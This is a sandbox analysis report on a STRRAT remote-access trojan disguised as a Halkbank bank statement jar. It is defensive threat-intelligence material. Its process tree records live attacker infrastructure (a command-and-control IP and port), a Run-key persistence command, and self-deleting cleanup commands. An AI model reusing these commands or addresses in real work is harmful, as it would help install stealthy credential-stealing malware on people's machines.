Analysis
- max time kernel
130s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - submitted
12/07/2025, 19:08
General
- Target Halkbank Ekstre.jar
- Size 60KB
- Sample250712-xtdhdafn7x
- SHA256 daf23a217b188f63657b051fda8bbd6eb341172b9519b9b5bff1a60eb4dda5a1
Malware Config
Signatures
- STRRAT
STRRAT is a remote access tool than can steal credentials and log keystrokes.
- Strrat family
- Loads dropped DLL 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Modifies registry key 1 TTPs 1 IoCs
- Runs ping.exe 1 TTPs 3 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\Halkbank Ekstre.jar"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Java\jre-1.8\bin\java.exe"C:\Program Files\Java\jre-1.8\bin\java" -jar C:\Users\Admin\AppData\Local\Temp\EhqEewHpbuuc4XjxYWDQg.jar 77.90.153.31 5590 "Halkbank Ekstre" 138.199.28.251 ""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Halkbank Ekstre /d "\"C:\Program Files\Java\jre-1.8\bin\javaw\" -jar \"C:\Users\Admin\AppData\Roaming\Halkbank Ekstre.jar\""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Halkbank Ekstre /d "\"C:\Program Files\Java\jre-1.8\bin\javaw\" -jar \"C:\Users\Admin\AppData\Roaming\Halkbank Ekstre.jar\""4⤵
- Modifies registry key
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c ping localhost -n 6 > nul && del "C:\Users\Admin\AppData\Local\Temp\EhqEewHpbuuc4XjxYWDQg.jar" /f3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 64⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Program Files\Java\jre-1.8\bin\java.exe"C:\Program Files\Java\jre-1.8\bin\java" -jar C:\Users\Admin\AppData\Local\Temp\dpapi.jar 77.90.153.31 5590 "Halkbank Ekstre" 138.199.28.251 dpapi|dpapi.jar2⤵
-
-
C:\Program Files\Java\jre-1.8\bin\java.exe"C:\Program Files\Java\jre-1.8\bin\java" -jar C:\Users\Admin\AppData\Local\Temp\a1895n3NuU6QxOyilIlT8.jar 77.90.153.31 5590 "Halkbank Ekstre" 138.199.28.251 off2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c ping localhost -n 6 > nul && del "C:\Users\Admin\AppData\Local\Temp\a1895n3NuU6QxOyilIlT8.jar" /f3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 64⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c ping localhost -n 6 > nul && del "C:\Users\Admin\AppData\Local\Temp\a1895n3NuU6QxOyilIlT8.jar" /f3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 64⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
EhqEewHpbuuc4XjxYWDQg.jar
a1895n3NuU6QxOyilIlT8.jar
dpapi.jar
system-hook-3.5.jar
systemhook+4001187558.dll
83aa4cc77f591dfc2374580bbd95f6ba_c1471a13-11ce-4324-81de-3b9abcf2076f
memory/316-66-0x000001AD63EF0000-0x000001AD63F00000-memory.dmp
memory/316-77-0x000001AD63F70000-0x000001AD63F80000-memory.dmp
memory/316-73-0x000001AD63F60000-0x000001AD63F70000-memory.dmp
memory/316-25-0x000001AD63E90000-0x000001AD63EA0000-memory.dmp
memory/316-27-0x000001AD63EA0000-0x000001AD63EB0000-memory.dmp
memory/316-32-0x000001AD63EC0000-0x000001AD63ED0000-memory.dmp
memory/316-31-0x000001AD63EB0000-0x000001AD63EC0000-memory.dmp
memory/316-30-0x000001AD63BC0000-0x000001AD63E30000-memory.dmp
memory/316-41-0x000001AD63EF0000-0x000001AD63F00000-memory.dmp
memory/316-40-0x000001AD63E50000-0x000001AD63E60000-memory.dmp
memory/316-39-0x000001AD63E40000-0x000001AD63E50000-memory.dmp
memory/316-38-0x000001AD63EE0000-0x000001AD63EF0000-memory.dmp
memory/316-37-0x000001AD63ED0000-0x000001AD63EE0000-memory.dmp
memory/316-36-0x000001AD63E30000-0x000001AD63E40000-memory.dmp
memory/316-44-0x000001AD63F00000-0x000001AD63F10000-memory.dmp
memory/316-43-0x000001AD63E60000-0x000001AD63E70000-memory.dmp
memory/316-47-0x000001AD63E70000-0x000001AD63E80000-memory.dmp
memory/316-48-0x000001AD63E80000-0x000001AD63E90000-memory.dmp
memory/316-49-0x000001AD63F10000-0x000001AD63F20000-memory.dmp
memory/316-52-0x000001AD63E90000-0x000001AD63EA0000-memory.dmp
memory/316-53-0x000001AD63F20000-0x000001AD63F30000-memory.dmp
memory/316-56-0x000001AD63F30000-0x000001AD63F40000-memory.dmp
memory/316-55-0x000001AD63EA0000-0x000001AD63EB0000-memory.dmp
memory/316-59-0x000001AD622F0000-0x000001AD622F1000-memory.dmp
memory/316-60-0x000001AD63EB0000-0x000001AD63EC0000-memory.dmp
memory/316-61-0x000001AD63EC0000-0x000001AD63ED0000-memory.dmp
memory/316-63-0x000001AD63EE0000-0x000001AD63EF0000-memory.dmp
memory/316-64-0x000001AD63ED0000-0x000001AD63EE0000-memory.dmp
memory/316-67-0x000001AD63F40000-0x000001AD63F50000-memory.dmp
memory/316-21-0x000001AD63E70000-0x000001AD63E80000-memory.dmp
memory/316-70-0x000001AD63F50000-0x000001AD63F60000-memory.dmp
memory/316-69-0x000001AD63F00000-0x000001AD63F10000-memory.dmp
memory/316-23-0x000001AD63E80000-0x000001AD63E90000-memory.dmp
memory/316-20-0x000001AD63E60000-0x000001AD63E70000-memory.dmp
memory/316-107-0x000001AD63F60000-0x000001AD63F70000-memory.dmp
memory/316-79-0x000001AD63F20000-0x000001AD63F30000-memory.dmp
memory/316-80-0x000001AD63F30000-0x000001AD63F40000-memory.dmp
memory/316-82-0x000001AD63F80000-0x000001AD63F90000-memory.dmp
memory/316-84-0x000001AD63F90000-0x000001AD63FA0000-memory.dmp
memory/316-105-0x000001AD63F40000-0x000001AD63F50000-memory.dmp
memory/316-106-0x000001AD63F50000-0x000001AD63F60000-memory.dmp
memory/316-76-0x000001AD63F10000-0x000001AD63F20000-memory.dmp
memory/316-108-0x000001AD63F70000-0x000001AD63F80000-memory.dmp
memory/316-109-0x000001AD622F0000-0x000001AD622F1000-memory.dmp
memory/316-110-0x000001AD63F80000-0x000001AD63F90000-memory.dmp
memory/316-111-0x000001AD63F90000-0x000001AD63FA0000-memory.dmp
memory/316-113-0x000001AD63FA0000-0x000001AD63FB0000-memory.dmp
memory/316-115-0x000001AD63FB0000-0x000001AD63FC0000-memory.dmp
memory/316-126-0x000001AD622F0000-0x000001AD622F1000-memory.dmp
memory/316-134-0x000001AD63FC0000-0x000001AD63FD0000-memory.dmp
memory/316-140-0x000001AD63FA0000-0x000001AD63FB0000-memory.dmp
memory/316-141-0x000001AD63FB0000-0x000001AD63FC0000-memory.dmp
memory/316-157-0x000001AD63FC0000-0x000001AD63FD0000-memory.dmp
memory/316-159-0x000001AD63FD0000-0x000001AD63FE0000-memory.dmp
memory/316-16-0x000001AD63E40000-0x000001AD63E50000-memory.dmp
memory/316-220-0x000001AD63FD0000-0x000001AD63FE0000-memory.dmp
memory/316-2-0x000001AD63BC0000-0x000001AD63E30000-memory.dmp
memory/316-11-0x000001AD622F0000-0x000001AD622F1000-memory.dmp
memory/316-13-0x000001AD63E30000-0x000001AD63E40000-memory.dmp
memory/316-17-0x000001AD63E50000-0x000001AD63E60000-memory.dmp
memory/1892-103-0x0000022E93880000-0x0000022E93AF0000-memory.dmp
memory/1892-102-0x0000022E93860000-0x0000022E93861000-memory.dmp
memory/1892-90-0x0000022E93880000-0x0000022E93AF0000-memory.dmp
memory/3928-192-0x000001D921690000-0x000001D921691000-memory.dmp
memory/5716-217-0x0000020356C00000-0x0000020356C01000-memory.dmp
memory/5716-218-0x0000000062F00000-0x0000000063081000-memory.dmp